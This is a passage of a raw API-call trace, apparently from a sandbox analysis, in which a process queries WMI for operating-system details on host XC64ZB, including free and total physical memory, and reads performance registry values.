ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c780) returned 0x0 [0294.162] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c788) returned 0x0 [0294.162] IClientSecurity:QueryBlanket (in: This=0x1d35c788, pProxy=0x1d35c780, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0294.162] IUnknown:Release (This=0x1d35c788) returned 0x1 [0294.162] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351d48) returned 0x0 [0294.162] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c788) returned 0x0 [0294.162] IClientSecurity:SetBlanket (This=0x1d35c788, pProxy=0x1d35c780, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0294.164] IUnknown:Release (This=0x1d35c788) returned 0x2 [0294.164] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x1 [0294.164] CoTaskMemFree (pv=0x1d471b90) [0294.164] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351d48) returned 0x0 [0294.164] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0294.164] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0294.165] IUnknown:QueryInterface (in: This=0x1d35c780, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0294.165] WbemLocator:IUnknown:AddRef (This=0x1b351d48) returned 0x3 [0294.165] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0294.165] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0294.165] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351c28) returned 0x0 [0294.165] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351c28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.165] WbemLocator:IUnknown:Release (This=0x1b351c28) returned 0x3 [0294.165] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0294.166] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0294.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351d10) returned 0x0 [0294.166] WbemLocator:IRpcOptions:Query (in: This=0x1b351d10, pPrx=0x1b351d48, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0294.166] WbemLocator:IUnknown:Release (This=0x1b351d10) returned 0x3 [0294.166] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x2 [0294.166] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0294.166] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0294.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c780) returned 0x0 [0294.166] IUnknown:AddRef (This=0x1d35c780) returned 0x4 [0294.166] IUnknown:Release (This=0x1d35c780) returned 0x3 [0294.166] IUnknown:Release (This=0x1d35c780) returned 0x2 [0294.166] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0294.166] SysStringLen (param_1=0x0) returned 0x0 [0294.166] IEnumWbemClassObject:Reset (This=0x1d35c780) returned 0x0 [0294.169] CoTaskMemAlloc (cb=0x8) returned 0x1b353af0 [0294.169] IEnumWbemClassObject:Next (in: This=0x1d35c780, lTimeout=-1, uCount=0x1, apObjects=0x1b353af0, puReturned=0x2965e80 | out: apObjects=0x1b353af0*=0x1b349060, puReturned=0x2965e80*=0x1) returned 0x0 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349060) returned 0x0 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0294.173] IUnknown:AddRef (This=0x1b349060) returned 0x3 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0294.173] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349068) returned 0x0 [0294.173] IMarshal:GetUnmarshalClass (in: This=0x1b349068, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0294.174] IUnknown:Release (This=0x1b349068) returned 0x3 [0294.174] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0294.174] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0294.174] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0294.174] IUnknown:Release (This=0x1b349060) returned 0x2 [0294.174] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0294.174] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0294.174] IUnknown:QueryInterface (in: This=0x1b349060, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349060) returned 0x0 [0294.174] IUnknown:AddRef (This=0x1b349060) returned 0x4 [0294.174] IUnknown:Release (This=0x1b349060) returned 0x3 [0294.174] IUnknown:Release (This=0x1b349060) returned 0x2 [0294.174] CoTaskMemFree (pv=0x1b353af0) [0294.174] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0294.174] IUnknown:AddRef (This=0x1b349060) returned 0x3 [0294.174] IWbemClassObject:Get (in: This=0x1b349060, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0294.174] IWbemClassObject:Get (in: This=0x1b349060, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0294.174] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0294.174] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0294.175] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0294.175] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0294.175] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0294.175] IUnknown:Release (This=0x4b0108) returned 0x1 [0294.176] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496fa0) returned 0x0 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496fa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0294.176] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496fa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0294.176] WbemDefPath:IUnknown:Release (This=0x1d496fa0) returned 0x0 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0294.176] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0294.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496cc0) returned 0x0 [0294.177] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496cc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.177] WbemDefPath:IUnknown:Release (This=0x1d496cc0) returned 0x3 [0294.177] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0294.177] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0294.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0294.177] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0294.177] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0294.177] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0294.177] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0294.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0294.177] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0294.177] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0294.177] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0294.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0294.177] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0294.177] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0294.178] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0294.178] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.178] IWbemClassObject:Get (in: This=0x1b349060, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2966c48*=0, plFlavor=0x2966c4c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2966c48*=21, plFlavor=0x2966c4c*=0) returned 0x0 [0294.178] SysStringByteLen (bstr="1395304") returned 0xe [0294.178] SysStringByteLen (bstr="1395304") returned 0xe [0294.178] IWbemClassObject:Get (in: This=0x1b349060, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2966c48*=21, plFlavor=0x2966c4c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2966c48*=21, plFlavor=0x2966c4c*=0) returned 0x0 [0294.178] SysStringByteLen (bstr="1395304") returned 0xe [0294.178] SysStringByteLen (bstr="1395304") returned 0xe [0294.178] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0294.178] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0294.178] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.178] IWbemClassObject:Get (in: This=0x1b349060, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2966e40*=0, plFlavor=0x2966e44*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2966e40*=21, plFlavor=0x2966e44*=0) returned 0x0 [0294.178] SysStringByteLen (bstr="2096620") returned 0xe [0294.178] SysStringByteLen (bstr="2096620") returned 0xe [0294.179] IWbemClassObject:Get (in: This=0x1b349060, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2966e40*=21, plFlavor=0x2966e44*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2966e40*=21, plFlavor=0x2966e44*=0) returned 0x0 [0294.179] SysStringByteLen (bstr="2096620") returned 0xe [0294.179] SysStringByteLen (bstr="2096620") returned 0xe [0294.179] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0294.179] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x1 [0294.179] IUnknown:Release (This=0x1d35c780) returned 0x0 [0296.230] GetTickCount64 () returned 0xac0c04 [0296.231] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0296.233] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a81060, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a81060*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0296.235] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0296.236] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a92478, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a92478*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0296.239] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0296.239] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0296.239] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.239] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0296.239] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: 